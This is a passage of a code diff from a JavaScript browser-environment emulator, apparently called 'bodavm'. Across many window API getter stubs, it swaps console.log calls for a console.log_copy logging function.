->${arg}`); return arg } + bodavm.envFunc.window_SVGNumberList = function () { let arg = bodavm.memory.globalobj['SVGNumberList']; console.log_copy(`window_SVGNumberList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGPathElement = function () { let arg = bodavm.memory.globalobj['SVGPathElement']; console.log_copy(`window_SVGPathElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGPatternElement = function () { let arg = bodavm.memory.globalobj['SVGPatternElement']; console.log_copy(`window_SVGPatternElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGPoint = function () { let arg = bodavm.memory.globalobj['SVGPoint']; console.log_copy(`window_SVGPoint`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGPointList = function () { let arg = bodavm.memory.globalobj['SVGPointList']; console.log_copy(`window_SVGPointList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGPolygonElement = function () { let arg = bodavm.memory.globalobj['SVGPolygonElement']; console.log_copy(`window_SVGPolygonElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGPolylineElement = function () { let arg = bodavm.memory.globalobj['SVGPolylineElement']; console.log_copy(`window_SVGPolylineElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGPreserveAspectRatio = function () { let arg = bodavm.memory.globalobj['SVGPreserveAspectRatio']; console.log_copy(`window_SVGPreserveAspectRatio`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGRadialGradientElement = function () { let arg = bodavm.memory.globalobj['SVGRadialGradientElement']; console.log_copy(`window_SVGRadialGradientElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGRect = function () { let arg = bodavm.memory.globalobj['SVGRect']; console.log_copy(`window_SVGRect`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGRectElement = function () { let arg = bodavm.memory.globalobj['SVGRectElement']; console.log_copy(`window_SVGRectElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGSVGElement = function () { let arg = bodavm.memory.globalobj['SVGSVGElement']; console.log_copy(`window_SVGSVGElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGScriptElement = function () { let arg = bodavm.memory.globalobj['SVGScriptElement']; console.log_copy(`window_SVGScriptElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGSetElement = function () { let arg = bodavm.memory.globalobj['SVGSetElement']; console.log_copy(`window_SVGSetElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGStopElement = function () { let arg = bodavm.memory.globalobj['SVGStopElement']; console.log_copy(`window_SVGStopElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGStringList = function () { let arg = bodavm.memory.globalobj['SVGStringList']; console.log_copy(`window_SVGStringList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGStyleElement = function () { let arg = bodavm.memory.globalobj['SVGStyleElement']; console.log_copy(`window_SVGStyleElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGSwitchElement = function () { let arg = bodavm.memory.globalobj['SVGSwitchElement']; console.log_copy(`window_SVGSwitchElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGSymbolElement = function () { let arg = bodavm.memory.globalobj['SVGSymbolElement']; console.log_copy(`window_SVGSymbolElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGTSpanElement = function () { let arg = bodavm.memory.globalobj['SVGTSpanElement']; console.log_copy(`window_SVGTSpanElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGTextContentElement = function () { let arg = bodavm.memory.globalobj['SVGTextContentElement']; console.log_copy(`window_SVGTextContentElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGTextElement = function () { let arg = bodavm.memory.globalobj['SVGTextElement']; console.log_copy(`window_SVGTextElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGTextPathElement = function () { let arg = bodavm.memory.globalobj['SVGTextPathElement']; console.log_copy(`window_SVGTextPathElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGTextPositioningElement = function () { let arg = bodavm.memory.globalobj['SVGTextPositioningElement']; console.log_copy(`window_SVGTextPositioningElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGTitleElement = function () { let arg = bodavm.memory.globalobj['SVGTitleElement']; console.log_copy(`window_SVGTitleElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGTransform = function () { let arg = bodavm.memory.globalobj['SVGTransform']; console.log_copy(`window_SVGTransform`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGTransformList = function () { let arg = bodavm.memory.globalobj['SVGTransformList']; console.log_copy(`window_SVGTransformList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGUnitTypes = function () { let arg = bodavm.memory.globalobj['SVGUnitTypes']; console.log_copy(`window_SVGUnitTypes`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGUseElement = function () { let arg = bodavm.memory.globalobj['SVGUseElement']; console.log_copy(`window_SVGUseElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGViewElement = function () { let arg = bodavm.memory.globalobj['SVGViewElement']; console.log_copy(`window_SVGViewElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ScreenOrientation = function () { let arg = bodavm.memory.globalobj['ScreenOrientation']; console.log_copy(`window_ScreenOrientation`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ScriptProcessorNode = function () { let arg = bodavm.memory.globalobj['ScriptProcessorNode']; console.log_copy(`window_ScriptProcessorNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SecurityPolicyViolationEvent = function () { let arg = bodavm.memory.globalobj['SecurityPolicyViolationEvent']; console.log_copy(`window_SecurityPolicyViolationEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Selection = function () { let arg = bodavm.memory.globalobj['Selection']; console.log_copy(`window_Selection`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ShadowRoot = function () { let arg = bodavm.memory.globalobj['ShadowRoot']; console.log_copy(`window_ShadowRoot`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_StaticRange = function () { let arg = bodavm.memory.globalobj['StaticRange']; console.log_copy(`window_StaticRange`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_StereoPannerNode = function () { let arg = bodavm.memory.globalobj['StereoPannerNode']; console.log_copy(`window_StereoPannerNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_StorageEvent = function () { let arg = bodavm.memory.globalobj['StorageEvent']; console.log_copy(`window_StorageEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_StylePropertyMap = function () { let arg = bodavm.memory.globalobj['StylePropertyMap']; console.log_copy(`window_StylePropertyMap`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_StylePropertyMapReadOnly = function () { let arg = bodavm.memory.globalobj['StylePropertyMapReadOnly']; console.log_copy(`window_StylePropertyMapReadOnly`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_StyleSheet = function () { let arg = bodavm.memory.globalobj['StyleSheet']; console.log_copy(`window_StyleSheet`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_StyleSheetList = function () { let arg = bodavm.memory.globalobj['StyleSheetList']; console.log_copy(`window_StyleSheetList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SubmitEvent = function () { let arg = bodavm.memory.globalobj['SubmitEvent']; console.log_copy(`window_SubmitEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SyncManager = function () { let arg = bodavm.memory.globalobj['SyncManager']; console.log_copy(`window_SyncManager`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TaskAttributionTiming = function () { let arg = bodavm.memory.globalobj['TaskAttributionTiming']; console.log_copy(`window_TaskAttributionTiming`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Text = function () { let arg = bodavm.memory.globalobj['Text']; console.log_copy(`window_Text`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TextDecoder = function () { let arg = bodavm.memory.globalobj['TextDecoder']; console.log_copy(`window_TextDecoder`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TextDecoderStream = function () { let arg = bodavm.memory.globalobj['TextDecoderStream']; console.log_copy(`window_TextDecoderStream`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TextEncoder = function () { let arg = bodavm.memory.globalobj['TextEncoder']; console.log_copy(`window_TextEncoder`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TextEncoderStream = function () { let arg = bodavm.memory.globalobj['TextEncoderStream']; console.log_copy(`window_TextEncoderStream`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TextEvent = function () { let arg = bodavm.memory.globalobj['TextEvent']; console.log_copy(`window_TextEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TextMetrics = function () { let arg = bodavm.memory.globalobj['TextMetrics']; console.log_copy(`window_TextMetrics`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TextTrack = function () { let arg = bodavm.memory.globalobj['TextTrack']; console.log_copy(`window_TextTrack`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TextTrackCue = function () { let arg = bodavm.memory.globalobj['TextTrackCue']; console.log_copy(`window_TextTrackCue`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TextTrackCueList = function () { let arg = bodavm.memory.globalobj['TextTrackCueList']; console.log_copy(`window_TextTrackCueList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TextTrackList = function () { let arg = bodavm.memory.globalobj['TextTrackList']; console.log_copy(`window_TextTrackList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TimeRanges = function () { let arg = bodavm.memory.globalobj['TimeRanges']; console.log_copy(`window_TimeRanges`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Touch = function () { let arg = bodavm.memory.globalobj['Touch']; console.log_copy(`window_Touch`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TouchEvent = function () { let arg = bodavm.memory.globalobj['TouchEvent']; console.log_copy(`window_TouchEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TouchList = function () { let arg = bodavm.memory.globalobj['TouchList']; console.log_copy(`window_TouchList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TrackEvent = function () { let arg = bodavm.memory.globalobj['TrackEvent']; console.log_copy(`window_TrackEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TransformStream = function () { let arg = bodavm.memory.globalobj['TransformStream']; console.log_copy(`window_TransformStream`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TransitionEvent = function () { let arg = bodavm.memory.globalobj['TransitionEvent']; console.log_copy(`window_TransitionEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TreeWalker = function () { let arg = bodavm.memory.globalobj['TreeWalker']; console.log_copy(`window_TreeWalker`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_UIEvent = function () { let arg = bodavm.memory.globalobj['UIEvent']; console.log_copy(`window_UIEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_URL = function () { let arg = bodavm.memory.globalobj['URL']; console.log_copy(`window_URL`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_URLSearchParams = function () { let arg = bodavm.memory.globalobj['URLSearchParams']; console.log_copy(`window_URLSearchParams`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_UserActivation = function () { let arg = bodavm.memory.globalobj['UserActivation']; console.log_copy(`window_UserActivation`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_VTTCue = function () { let arg = bodavm.memory.globalobj['VTTCue']; console.log_copy(`window_VTTCue`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ValidityState = function () { let arg = bodavm.memory.globalobj['ValidityState']; console.log_copy(`window_ValidityState`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WaveShaperNode = function () { let arg = bodavm.memory.globalobj['WaveShaperNode']; console.log_copy(`window_WaveShaperNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebGL2RenderingContext = function () { let arg = bodavm.memory.globalobj['WebGL2RenderingContext']; console.log_copy(`window_WebGL2RenderingContext`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebGLActiveInfo = function () { let arg = bodavm.memory.globalobj['WebGLActiveInfo']; console.log_copy(`window_WebGLActiveInfo`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebGLBuffer = function () { let arg = bodavm.memory.globalobj['WebGLBuffer']; console.log_copy(`window_WebGLBuffer`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebGLContextEvent = function () { let arg = bodavm.memory.globalobj['WebGLContextEvent']; console.log_copy(`window_WebGLContextEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebGLFramebuffer = function () { let arg = bodavm.memory.globalobj['WebGLFramebuffer']; console.log_copy(`window_WebGLFramebuffer`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebGLProgram = function () { let arg = bodavm.memory.globalobj['WebGLProgram']; console.log_copy(`window_WebGLProgram`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebGLQuery = function () { let arg = bodavm.memory.globalobj['WebGLQuery']; console.log_copy(`window_WebGLQuery`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebGLRenderbuffer = function () { let arg = bodavm.memory.globalobj['WebGLRenderbuffer']; console.log_copy(`window_WebGLRenderbuffer`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebGLRenderingContext = function () { let arg = bodavm.memory.globalobj['WebGLRenderingContext']; console.log_copy(`window_WebGLRenderingContext`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebGLSampler = function () { let arg = bodavm.memory.globalobj['WebGLSampler']; console.log_copy(`window_WebGLSampler`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebGLShader = function () { let arg = bodavm.memory.globalobj['WebGLShader']; console.log_copy(`window_WebGLShader`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebGLShaderPrecisionFormat = function () { let arg = bodavm.memory.globalobj['WebGLShaderPrecisionFormat']; console.log_copy(`window_WebGLShaderPrecisionFormat`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebGLSync = function () { let arg = bodavm.memory.globalobj['WebGLSync']; console.log_copy(`window_WebGLSync`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebGLTexture = function () { let arg = bodavm.memory.globalobj['WebGLTexture']; console.log_copy(`window_WebGLTexture`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebGLTransformFeedback = function () { let arg = bodavm.memory.globalobj['WebGLTransformFeedback']; console.log_copy(`window_WebGLTransformFeedback`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebGLUniformLocation = function () { let arg = bodavm.memory.globalobj['WebGLUniformLocation']; console.log_copy(`window_WebGLUniformLocation`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebGLVertexArrayObject = function () { let arg = bodavm.memory.globalobj['WebGLVertexArrayObject']; console.log_copy(`window_WebGLVertexArrayObject`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebSocket = function () { let arg = bodavm.memory.globalobj['WebSocket']; console.log_copy(`window_WebSocket`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WheelEvent = function () { let arg = bodavm.memory.globalobj['WheelEvent']; console.log_copy(`window_WheelEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Worker = function () { let arg = bodavm.memory.globalobj['Worker']; console.log_copy(`window_Worker`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WritableStream = function () { let arg = bodavm.memory.globalobj['WritableStream']; console.log_copy(`window_WritableStream`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WritableStreamDefaultController = function () { let arg = bodavm.memory.globalobj['WritableStreamDefaultController']; console.log_copy(`window_WritableStreamDefaultController`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WritableStreamDefaultWriter = function () { let arg = bodavm.memory.globalobj['WritableStreamDefaultWriter']; console.log_copy(`window_WritableStreamDefaultWriter`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XMLDocument = function () { let arg = bodavm.memory.globalobj['XMLDocument']; console.log_copy(`window_XMLDocument`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XMLHttpRequest = function () { let arg = bodavm.memory.globalobj['XMLHttpRequest']; console.log_copy(`window_XMLHttpRequest`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XMLHttpRequestEventTarget = function () { let arg = bodavm.memory.globalobj['XMLHttpRequestEventTarget']; console.log_copy(`window_XMLHttpRequestEventTarget`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XMLHttpRequestUpload = function () { let arg = bodavm.memory.globalobj['XMLHttpRequestUpload']; console.log_copy(`window_XMLHttpRequestUpload`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XMLSerializer = function () { let arg = bodavm.memory.globalobj['XMLSerializer']; console.log_copy(`window_XMLSerializer`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XPathEvaluator = function () { let arg = bodavm.memory.globalobj['XPathEvaluator']; console.log_copy(`window_XPathEvaluator`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XPathExpression = function () { let arg = bodavm.memory.globalobj['XPathExpression']; console.log_copy(`window_XPathExpression`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XPathResult = function () { let arg = bodavm.memory.globalobj['XPathResult']; console.log_copy(`window_XPathResult`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebKitCSSMatrix = function () { let arg = bodavm.memory.globalobj['DOMMatrix']; console.log_copy(`window_WebKitCSSMatrix`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebKitMutationObserver = function () { let arg = bodavm.memory.globalobj['MutationObserver']; console.log_copy(`window_WebKitMutationObserver`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_webkitMediaStream = function () { let arg = bodavm.memory.globalobj['webkitMediaStream']; console.log_copy(`window_webkitMediaStream`, `-> res ->${arg}`); return arg } bodavm.envFunc.window_webkitRTCPeerConnection = function () { - let arg = bodavm.memory.globalobj['webkitRTCPeerConnection']; console.log(`window_webkitRTCPeerConnection`, `-> res ->${arg}` + let arg = bodavm.memory.globalobj['webkitRTCPeerConnection']; console.log_copy(`window_webkitRTCPeerConnection`, `-> res ->${arg}` ); return arg } - bodavm.envFunc.window_webkitURL = function () { let arg = bodavm.memory.globalobj['webkitURL']; console.log(`window_webkitURL`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Audio = function () { let arg = bodavm.memory.globalobj['Audio']; console.log(`window_Audio`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_IDBDatabase = function () { let arg = bodavm.memory.globalobj['IDBDatabase']; console.log(`window_IDBDatabase`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_webkitURL = function () { let arg = bodavm.memory.globalobj['webkitURL']; console.log_copy(`window_webkitURL`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Audio = function () { let arg = bodavm.memory.globalobj['Audio']; console.log_copy(`window_Audio`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_IDBDatabase = function () { let arg = bodavm.memory.globalobj['IDBDatabase']; console.log_copy(`window_IDBDatabase`, `-> res ->${arg}`); return arg } @@ -1030,83 +1164,83 @@ // } let arg =bodavm.memory.globalobj['MutationObserver'] // arg._boarg=new bodaobj.window.MutationObserver(arguments[0]) - console.log(`window_MutationObserver `, `-> res ->${arg}`); + console.log_copy(`window_MutationObserver `, `-> res ->${arg}`); return arg } bodavm.envFunc.window_oncanplaythrough_get = function () { let arg = bodavm.memory.window['oncanplaythrough'] // arg._boarg= bodaobj.window['oncanplaythrough'] - console.log(`window_oncanplaythrough_get `, `-> res ->${arg}`); + console.log_copy(`window_oncanplaythrough_get `, `-> res ->${arg}`); return arg } bodavm.envFunc.window_oncanplay_get = function () { let arg = bodavm.memory.window['oncanplay'] // arg._boarg= bodaobj.window['oncanplay'] - console.log(`window_oncanplay_get `, `-> res ->${arg}`); + console.log_copy(`window_oncanplay_get `, `-> res ->${arg}`); return arg } bodavm.envFunc.window_oncancel_get = function () { let arg = bodavm.memory.window['oncancel'] // arg._boarg= bodaobj.window['oncancel'] - console.log(`window_oncancel_get `, `-> res ->${arg}`); + console.log_copy(`window_oncancel_get `, `-> res ->${arg}`); return arg } bodavm.envFunc.window_onblur_get = function () { let arg = bodavm.memory.window['onblur'] // arg._boarg= bodaobj.window['onblur'] - console.log(`window_onblur_get `, `-> res ->${arg}`); + console.log_copy(`window_onblur_get `, `-> res ->${arg}`); return arg } bodavm.envFunc.window_onappinstalled_get = function () { let arg = bodavm.memory.window['onappinstalled'] // arg._boarg= bodaobj.window['onappinstalled'] - console.log(`window_onappinstalled_get `, `-> res ->${arg}`); + console.log_copy(`window_onappinstalled_get `, `-> res ->${arg}`); return arg } bodavm.envFunc.window_onbeforeinstallprompt_get = function () { let arg = bodavm.memory.window['onbeforeinstallprompt'] // arg._boarg= bodaobj.window['onbeforeinstallprompt'] - console.log(`window_onbeforeinstallprompt_get `, `-> res ->${arg}`); + console.log_copy(`window_onbeforeinstallprompt_get `, `-> res ->${arg}`); return arg } bodavm.envFunc.window_onbeforexrselect_get = function () { let arg = bodavm.memory.window['onbeforexrselect'] // arg._boarg= bodaobj.window['onbeforexrselect'] - console.log(`window_onbeforexrselect_get `, `-> res ->${arg}`); + console.log_copy(`window_onbeforexrselect_get `, `-> res ->${arg}`); return arg } bodavm.envFunc.window_onabort_get = function () { let arg = bodavm.memory.window['onabort'] // arg._boarg= bodaobj.window['onabort'] - console.log(`window_onabort_get `, `-> res ->${arg}`); + console.log_copy(`window_onabort_get `, `-> res ->${arg}`); return arg } bodavm.envFunc.window_isSecureContext_get = function () { let arg = bodavm.memory.window['isSecureContext'] arg._boarg= bodaobj.window['isSecureContext'] - console.log(`window_isSecureContext_get `, `-> res ->${arg}`); + console.log_copy(`window_isSecureContext_get `, `-> res ->${arg}`); return arg } bodavm.envFunc.window_onsearch_get = function () { // let arg = bodavm.memory.globalobj['onsearch'] ? bodavm.memory.globalobj['onsearch'] : null // arg._boarg= bodaobj.window['onsearch'] let arg = bodavm.memory.window['onsearch'] - console.log(`window_onsearch_get `, `-> res ->${arg}`); + console.log_copy(`window_onsearch_get `, `-> res ->${arg}`); return arg } bodavm.envFunc.window_styleMedia_get = function () { let arg = bodavm.memory.globalobj['styleMedia'] ? bodavm.memory.globalobj['styleMedia'] : null arg._boarg= bodaobj.window['styleMedia'] - console.log(`window_styleMedia_get `, `-> res ->${arg}`); + console.log_copy(`window_styleMedia_get `, `-> res ->${arg}`); return arg } bodavm.envFunc.window_frameElement_get = function () { @@ -1115,49 +1249,49 @@ // arg. arg.__proto__=HTMLIFrameElement.prototype - console.log(`window_frameElement_get `, `-> res ->${arg} `); + console.log_copy(`window_frameElement_get `, `-> res ->${arg} `); return arg } bodavm.envFunc.window_opener_get = function () { let arg = bodavm.memory.window['opener'] // arg._boarg= bodaobj.window['opener'] // let arg= bodaobj.window['opener'] - console.log(`window_opener_get `, `-> res ->${arg}`); + console.log_copy(`window_opener_get `, `-> res ->${arg}`); return arg } bodavm.envFunc.window_statusbar_get = function () { let arg = bodavm.memory.globalobj['statusbar'] arg._boarg= bodaobj.window['statusbar'] - console.log(`window_statusbar_get `, `-> res ->${arg}`); + console.log_copy(`window_statusbar_get `, `-> res ->${arg}`); return arg } bodavm.envFunc.window_scrollbars_get = function () { let arg = bodavm.memory.globalobj['scrollbars'] arg._boarg= bodaobj.window['scrollbars'] - console.log(`window_scrollbars_get `, `-> res ->${arg}`); + console.log_copy(`window_scrollbars_get `, `-> res ->${arg}`); return arg } bodavm.envFunc.window_locationbar_get = function () { let arg = bodavm.memory.globalobj['locationbar'] arg._boarg= bodaobj.window['locationbar'] - console.log(`window_locationbar_get `, `-> res ->${arg}`); + console.log_copy(`window_locationbar_get `, `-> res ->${arg}`); return arg } bodavm.envFunc.window_personalbar_get = function () { let arg = bodavm.memory.globalobj['personalbar'] arg._boarg= bodaobj.window['personalbar'] - console.log(`window_personalbar_get `, `-> res ->${arg}`); + console.log_copy(`window_personalbar_get `, `-> res ->${arg}`); return arg } bodavm.envFunc.window_speechSynthesis_get = function () { let arg = bodavm.memory.globalobj['speechSynthesis'] arg._boarg= bodaobj.window['speechSynthesis'] - console.log(`window_speechSynthesis_get `, `-> res ->${arg}`); + console.log_copy(`window_speechSynthesis_get `, `-> res ->${arg}`); return arg } @@ -1166,28 +1300,28 @@ let arg = bodavm.memory.globalobj['trustedTypes'] arg._boarg= bodaobj.window['trustedTypes'] - console.log(`window_trustedTypes_get `, `-> res -> ${arg}`); + console.log_copy(`window_trustedTypes_get `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_cookieStore_get = function () { let arg = bodavm.memory.globalobj['cookieStore'] arg._boarg= bodaobj.window['cookieStore'] - console.log(`window_cookieStore_get `, `-> res -> ${arg}`); + console.log_copy(`window_cookieStore_get `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_external_get = function () { let arg = bodavm.memory.globalobj['external'] arg._boarg= bodaobj.window['external'] - console.log(`window_external_get `, `-> res -> ${arg}`); + console.log_copy(`window_external_get `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_caches_get = function () { let arg = bodavm.memory.globalobj['caches'] arg._boarg= bodaobj.window['caches'] - console.log(`window_caches_get `, `-> res -> ${arg}`); + console.log_copy(`window_caches_get `, `-> res -> ${arg}`); return arg } @@ -1195,49 +1329,49 @@ let arg = bodavm.memory.globalobj['visualViewport'] arg._boarg= bodaobj.window['visualViewport'] - console.log(`window_visualViewport_get `, `-> res -> ${arg}`); + console.log_copy(`window_visualViewport_get `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_menubar_get = function () { let arg = bodavm.memory.globalobj['menubar'] arg._boarg= bodaobj.window['menubar'] - console.log(`window_menubar_get `, `-> res -> ${arg}`); + console.log_copy(`window_menubar_get `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_toolbar_get = function () { let arg = bodavm.memory.globalobj['toolbar'] arg._boarg= bodaobj.window['toolbar'] - console.log(`window_toolbar_get `, `-> res -> ${arg}`); + console.log_copy(`window_toolbar_get `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_CookieStore = function () { let arg = bodavm.memory.globalobj['CookieStore'] arg._boarg= bodaobj.window['CookieStore'] - console.log(`window_CookieStore `, `-> res -> ${arg}`); + console.log_copy(`window_CookieStore `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_Storage = function () { let arg = bodavm.memory.globalobj['Storage'] arg._boarg= bodaobj.window['Storage'] - console.log(`window_Storage `, `-> res -> ${arg}`); + console.log_copy(`window_Storage `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_Navigation = function () { let arg = bodavm.memory.globalobj['Navigation'] arg._boarg= bodaobj.window['Navigation'] - console.log(`window_Navigation `, `-> res -> ${arg}`); + console.log_copy(`window_Navigation `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_VisualViewport = function () { let arg = bodavm.memory.globalobj['VisualViewport'] arg._boarg= bodaobj.window['VisualViewport'] - console.log(`window_VisualViewport `, `-> res -> ${arg}`); + console.log_copy(`window_VisualViewport `, `-> res -> ${arg}`); return arg } @@ -1245,35 +1379,35 @@ let arg = bodavm.memory.globalobj['History'] arg._boarg= bodaobj.window['History'] - console.log(`window_History `, `-> res -> ${arg}`); + console.log_copy(`window_History `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_IDBFactory = function () { let arg = bodavm.memory.globalobj['IDBFactory'] arg._boarg= bodaobj.window['IDBFactory'] - console.log(`window_IDBFactory `, `-> res -> ${arg}`); + console.log_copy(`window_IDBFactory `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_TrustedTypePolicyFactory = function () { let arg = bodavm.memory.globalobj['TrustedTypePolicyFactory'] arg._boarg= bodaobj.window['TrustedTypePolicyFactory'] - console.log(`window_TrustedTypePolicyFactory `, `-> res -> ${arg}`); + console.log_copy(`window_TrustedTypePolicyFactory `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_External = function () { let arg = bodavm.memory.globalobj['External'] arg._boarg= bodaobj.window['External'] - console.log(`window_External `, `-> res -> ${arg}`); + console.log_copy(`window_External `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_CacheStorage = function () { let arg = bodavm.memory.globalobj['CacheStorage'] arg._boarg= bodaobj.window['CacheStorage'] - console.log(`window_CacheStorage `, `-> res -> ${arg}`); + console.log_copy(`window_CacheStorage `, `-> res -> ${arg}`); return arg } @@ -1282,35 +1416,35 @@ let arg = bodavm.memory.globalobj['CustomElementRegistry'] arg._boarg= bodaobj.window['CustomElementRegistry'] - console.log(`window_CustomElementRegistry `, `-> res -> ${arg}`); + console.log_copy(`window_CustomElementRegistry `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_Window = function () { let arg = bodavm.memory.globalobj['Window'] arg._boarg= bodaobj.window['Window'] - console.log(`window_Window `, `-> res -> ${arg}`); + console.log_copy(`window_Window `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_Screen = function () { let arg = bodavm.memory.globalobj['Screen'] arg._boarg= bodaobj.window['Screen'] - console.log(`window_Screen `, `-> res -> ${arg}`); + console.log_copy(`window_Screen `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_Navigator = function () { let arg = bodavm.memory.globalobj['Navigator'] arg._boarg= bodaobj.window['Navigator'] - console.log(`window_Navigator `, `-> res -> ${arg}`); + console.log_copy(`window_Navigator `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_Performance = function () { let arg = bodavm.memory.globalobj['Performance'] arg._boarg= 